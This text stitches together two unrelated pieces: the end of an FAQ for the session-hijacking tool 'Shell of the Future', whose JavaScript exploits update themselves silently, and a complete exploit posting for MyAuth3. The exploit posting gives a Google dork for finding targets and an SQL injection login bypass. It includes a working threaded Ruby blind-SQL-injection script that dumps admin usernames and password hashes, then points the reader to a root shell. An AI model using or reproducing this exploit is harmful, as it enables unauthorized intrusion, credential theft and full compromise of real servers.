8.      I made some changes to the banner setting but the banner is still the same, why?
To view the new banner you must either refresh the page or click on a new link, the changes are applied on the new page. If you made changes when Shell of the Future is already running then you must click on 'Apply Changes' for the changes to take effect.

9.      Can this tool be abused by the bad guys?
Theoretically yes, but practically the bad guys wouldn't care. They aren't interested in browsing the victim's session from their browser. They prefer using light-weight 'fire and forget' type exploits. Unless the attacker is trying to impress a girl with his exploitation skills, Shell of the Future is not of much use to them.

10.  Can I use Shell of the Future to impress girls?
Absolutely, it has been proven to have hypnotic powers much stronger than AXE and OldSpice.

11.  How does the update feature work?
Every time you run Shell of the Future, a request is sent to ‘https://www.andlabs.org/tools/sotf/version.txt‘, to check for newer versions of Shell of the Future and the JavaScript exploits e1.js and e2.js. If a new version of the tool is found then you are shown a message box. If the JavaScript exploits have a new version then its updated silently.

12.  Who do I contact if have (questions | ideas | suggestions | comments | critisicm | feedback)?
My email ID is here. You can also get me on Twitter.

By no means I am saying this is done by me. I gives full credit to its author.
You can find attachment here-ShellofFuture

Thanks,

Mike(I have seen new life...)

# Exploit Title: MyAuth3 Blind SQL Injection / Root Shell Access 0day exploit
# Google Dork: allinurl:1881/?console=panel
# Author: Marcio Almeida (marcio[at]alligatorteam[dot]org | @marcioalm)
# Version: 3.0
# Tested on: Linux


---------------
PoC (POST data)
---------------
URL:
http://localhost:1881/index.php?console=panel

POST Data (Authentication bypass):
panel_cmd=auth&r=ok&user=alligatorteam&pass=' or 1=1#
---------------

This application has a accessible root shell in the admin interface located at:

http://localhost:1881/admin/

When you access it, just go to tools / terminal menu and g0t r00t!

The following code will manage all the dirty work for you!

enjoy ;-)

############## EXPLOIT CODE [myauth3_xpl.rb] ##################

require "net/http"
require "net/https"
require "erb"
require "singleton"
require 'uri'

sql = "select concat(user,0x20,pass) from admusers where enable = 1 and accesslevel >= 20"
@target = ARGV[0]
numthreads = ARGV[1]
@verbose = ARGV[2]
@cookie = ""

    puts "+=============================================================================+"
    puts "| MyAuth 3 - Blind SQL Injection / Root Shell Access 0day exploit             |"
    puts "| Google Dork: allinurl:1881/?console=panel                                   |"
    puts "| author: Marcio Almeida (marcio@alligatorteam.org)                           |"
    puts "|                                                                                 |"
    puts "|       by Alligator Security Team  | irc://irc.freenode.net:8001/#Alligator  |"
    puts "|                                     twitter: @alligatorteam                 |"
    puts "+=============================================================================+"
    puts
if (ARGV[0].nil? || ARGV[1].nil?)

    puts "usage (non verbose): ruby -W0 #{__FILE__} address num_threads"
    puts "usage (verbose): ruby -W0 #{__FILE__} address num_threads -v"
    puts "-----------------------------------------------------------"
    puts "Example 1: ruby -W0 #{__FILE__} 127.0.0.1 5"
    puts "Example 2: ruby -W0 #{__FILE__} www.vulnsite.com.br 5 -v"
    exit(0)
end
 
def requisicao(posicao,p_substr,sql)
    useragent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1'
    @http = Net::HTTP.new(@target, 1881)
 #     @http.use_ssl = true
    parametro = "panel_cmd=auth&r=ok&user=alligatorteam&pass=' or #{posicao} >= ascii(substr((#{sql}),#{p_substr.to_s},1))#"
    begin
    resp, data = @http.post2("/index.php?console=panel", parametro, {'User-Agent' => useragent, 'Cookie' => @cookie.to_s })
     resultado = data.match(/Financeiro/)
    rescue Exception=>e
    puts e
    end
    if resultado.nil?
        return false
    else
        return true
    end
end

def busca_r( menor, maior, p_substr,sql )
   return -1 if menor > maior
   return maior if (maior-menor)==1
   posicao = (menor+maior)/2
   if (requisicao(posicao,p_substr,sql))
     busca_r( menor, posicao, p_substr,sql )
   else
     busca_r( posicao, maior,p_substr,sql )
   end
end

def busca_sql(inicio, qtdThreads, sql, str_final)
    resultado = 0
    while (resultado != 1) do
    str_final[inicio] = ""
      resultado = busca_r(0,255,inicio,sql)
      if resultado != 1
          if @verbose == "-v"
        puts inicio.to_s+") Character Found: "+resultado.to_s+" - "+resultado.chr.to_s
        end
        str_final[inicio] += resultado.chr.to_s
        inicio = inicio + qtdThreads.to_i
      end
    end
end

def busca_com_threads(sql, numthreads)
str_final = []

threads = []
count = 1
numthreads.to_i.times{|i|
   threads << Thread.new {
        busca_sql(count, numthreads, sql, str_final)
    }
   count += 1
}

threads.each do |t|
    t.join
end

   puts str_final.to_s

end

puts "When you crack any of the following hashes, go to http://"+ @target + ":1881/admin to login into the application."
puts "Then go to tools / terminal menu and get a r00t shell access ;-)"
puts "=========================================================================="
puts "[+] admusers table dumping... (maybe it'll take a little bit of time...)"
puts "=========================================================================="

100.times { |i|
  busca_com_threads(sql+" limit 1 offset " + i.to_s, numthreads)
}